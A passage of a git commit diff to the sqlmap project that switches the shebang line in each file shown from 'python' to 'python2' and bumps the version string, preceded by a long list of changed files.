lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/htmlentities.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/0x2char.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/equaltolike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/htmlencode.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- thirdparty/beautifulsoup/__init__.py | 2 +- thirdparty/bottle/bottle.py | 2 +- thirdparty/chardet/chardetect.py | 2 +- thirdparty/clientform/__init__.py | 2 +- thirdparty/fcrypt/__init__.py | 2 +- thirdparty/gprof2dot/__init__.py | 2 +- thirdparty/gprof2dot/gprof2dot.py | 2 +- thirdparty/keepalive/__init__.py | 2 +- thirdparty/keepalive/keepalive.py | 2 +- thirdparty/multipart/multipartpost.py | 2 +- thirdparty/odict/__init__.py | 2 +- thirdparty/oset/_abc.py | 2 +- thirdparty/oset/pyoset.py | 2 +- thirdparty/prettyprint/__init__.py | 2 +- thirdparty/prettyprint/prettyprint.py | 2 +- thirdparty/pydes/__init__.py | 2 +- thirdparty/socks/socks.py | 2 +- thirdparty/wininetpton/__init__.py | 2 +- thirdparty/wininetpton/win_inet_pton.py | 2 +- thirdparty/xdot/__init__.py | 2 +- thirdparty/xdot/xdot.py | 2 +- txt/checksum.md5 | 770 ++++++++++++------------ waf/360.py | 2 +- waf/__init__.py | 2 +- waf/aesecure.py | 2 +- waf/airlock.py | 2 +- waf/anquanbao.py | 2 +- waf/approach.py | 2 +- waf/armor.py | 2 +- waf/asm.py | 2 +- waf/aws.py | 2 +- waf/barracuda.py | 2 +- waf/bekchy.py | 2 +- waf/bitninja.py | 2 +- waf/bluedon.py | 2 +- waf/cerber.py | 2 +- waf/chinacache.py | 2 +- waf/ciscoacexml.py | 2 +- waf/cloudbric.py | 2 +- waf/cloudflare.py | 2 +- waf/cloudfront.py | 2 +- waf/comodo.py | 2 +- waf/crawlprotect.py | 2 +- waf/distil.py | 2 +- waf/dotdefender.py | 2 +- waf/edgecast.py | 2 +- waf/expressionengine.py | 2 +- waf/fortiweb.py | 2 +- waf/generic.py | 2 +- waf/godaddy.py | 2 +- waf/greywizard.py | 2 +- waf/imunify360.py | 2 +- waf/incapsula.py | 2 +- waf/isaserver.py | 2 +- waf/janusec.py | 2 +- waf/jiasule.py | 2 +- waf/knownsec.py | 2 +- waf/kona.py | 2 +- waf/malcare.py | 2 +- waf/modsecurity.py | 2 +- waf/naxsi.py | 2 +- waf/netscaler.py | 2 +- waf/newdefend.py | 2 +- waf/ninjafirewall.py | 2 +- waf/onmessageshield.py | 2 +- waf/paloalto.py | 2 +- waf/perimeterx.py | 2 +- waf/profense.py | 2 +- waf/proventia.py | 2 +- waf/radware.py | 2 +- waf/reblaze.py | 2 +- waf/requestvalidationmode.py | 2 +- waf/rsfirewall.py | 2 +- waf/safe3.py | 2 +- waf/safedog.py | 2 +- waf/secureentry.py | 2 +- waf/secureiis.py | 2 +- waf/securesphere.py | 2 +- waf/senginx.py | 2 +- waf/shieldsecurity.py | 2 +- waf/siteground.py | 2 +- waf/siteguard.py | 2 +- waf/sitelock.py | 2 +- waf/sonicwall.py | 2 +- waf/sophos.py | 2 +- waf/squarespace.py | 2 +- waf/stackpath.py | 2 +- waf/sucuri.py | 2 +- waf/tencent.py | 2 +- waf/trafficshield.py | 2 +- waf/urlmaster.py | 2 +- waf/urlscan.py | 2 +- waf/varnish.py | 2 +- waf/virusdie.py | 2 +- waf/wallarm.py | 2 +- waf/watchguard.py | 2 +- waf/webknight.py | 2 +- waf/webseal.py | 2 +- waf/wordfence.py | 2 +- waf/wts.py | 2 +- waf/yundun.py | 2 +- waf/yunsuo.py | 2 +- waf/zenedge.py | 2 +- 386 files changed, 771 insertions(+), 771 deletions(-) diff --git a/extra/__init__.py b/extra/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 2379222dcb8..8e26d30cb43 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ beep.py - Make a beep sound diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index c4810cbe39d..7c9efc90b4b 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ cloak.py - Simple file encryption/compression utility diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 63ba43aac7c..ca473f39d8e 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ dbgtool.py - Portable executable to ASCII debug script converter diff --git a/extra/icmpsh/__init__.py b/extra/icmpsh/__init__.py index 1e340fa562b..22e597bace6 100644 --- a/extra/icmpsh/__init__.py +++ b/extra/icmpsh/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker <nico@leidecker.info>) diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index 562223ab327..d28571f0132 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker <nico@leidecker.info>) diff --git a/extra/safe2bin/__init__.py b/extra/safe2bin/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/safe2bin/__init__.py +++ b/extra/safe2bin/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/safe2bin/safe2bin.py b/extra/safe2bin/safe2bin.py index 8053120d9a9..f7c26a0dd1a 100644 --- a/extra/safe2bin/safe2bin.py +++ b/extra/safe2bin/safe2bin.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ safe2bin.py - Simple safe(hex) to binary format converter diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index b5431af4f8b..c5fdbaf64f1 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py index 63a557a1f59..1d76b377f07 100644 --- a/extra/shutils/newlines.py +++ b/extra/shutils/newlines.py @@ -1,4 +1,4 @@ -#! /usr/bin/env python +#! /usr/bin/env python2 # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py index cec5321b2fb..13895460b0e 100755 --- a/extra/shutils/pylint.py +++ b/extra/shutils/pylint.py @@ -1,4 +1,4 @@ -#! /usr/bin/env python +#! /usr/bin/env python2 # Runs pylint on all python scripts found in a directory tree # Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py index e4e920571b8..6d7f8134a62 100755 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/sqlharvest/__init__.py +++ b/extra/sqlharvest/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py index 42810fa714c..d0ded452c36 100644 --- a/extra/sqlharvest/sqlharvest.py +++ b/extra/sqlharvest/sqlharvest.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/wafdetectify/__init__.py b/extra/wafdetectify/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/extra/wafdetectify/__init__.py +++ b/extra/wafdetectify/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index a5f3d54d141..3afe6eb5d6e 100755 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/__init__.py b/lib/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/controller/action.py b/lib/controller/action.py index acdd2dbea2b..b2696d55359 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 821b1082170..3f299bfdb6f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index d8e42f06c5e..1fc91aba895 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/controller/handler.py b/lib/controller/handler.py index ce128dbb525..15f1cca8c2c 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/__init__.py b/lib/core/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/agent.py b/lib/core/agent.py index b20e368e216..91e8992754a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index b09786210c0..5d8fa21a950 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/common.py b/lib/core/common.py index 509b87e8bd5..a79783bac1f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/convert.py b/lib/core/convert.py index e931d81ecee..00a7a72aaa3 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/data.py b/lib/core/data.py index 3a56c7fb4c5..9f10d20a7a4 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 7fe562d507e..cfc4dd02fdf 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index f99c712c991..581d640d5f9 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 95a7f3ff421..50ab6bb1951 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index e80f3d9a033..18c28d72269 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/dump.py b/lib/core/dump.py index 414d7df8fb5..71affa0edc1 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/enums.py b/lib/core/enums.py index 5299a239e79..a050e8b015f 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/exception.py b/lib/core/exception.py index ad87adf6f8a..3d0dd5e2386 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/log.py b/lib/core/log.py index 096fdfd9053..76502f1044f 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/option.py b/lib/core/option.py index d5d00aee127..4f155e271ba 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 5232f674a9e..dc6471c1482 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/patch.py b/lib/core/patch.py index 49a458431b5..6f8b862b164 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 9ba1dd4c74b..72770263ebf 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 5e16f689eb6..4d063325ac8 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/replication.py b/lib/core/replication.py index 01f2495a66e..5ae390668d9 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/revision.py b/lib/core/revision.py index 600584de2f2..94158a67a34 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/session.py b/lib/core/session.py index 9cf569b687b..3b79d6e54b0 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/settings.py b/lib/core/settings.py index 384b7c943e8..537a5295827 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.40" +VERSION = "1.3.3.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index 3f18488a34b..1b254bc1988 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 43092213929..ed7be6fdb36 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/target.py b/lib/core/target.py index b3c5107dd84..ac88d8fed0f 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/testing.py b/lib/core/testing.py index 030f58f396a..34ade2a1cc1 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/threads.py b/lib/core/threads.py index 6031c96b370..4dc39dd61c1 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index e95378b1575..4678e60ad68 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers 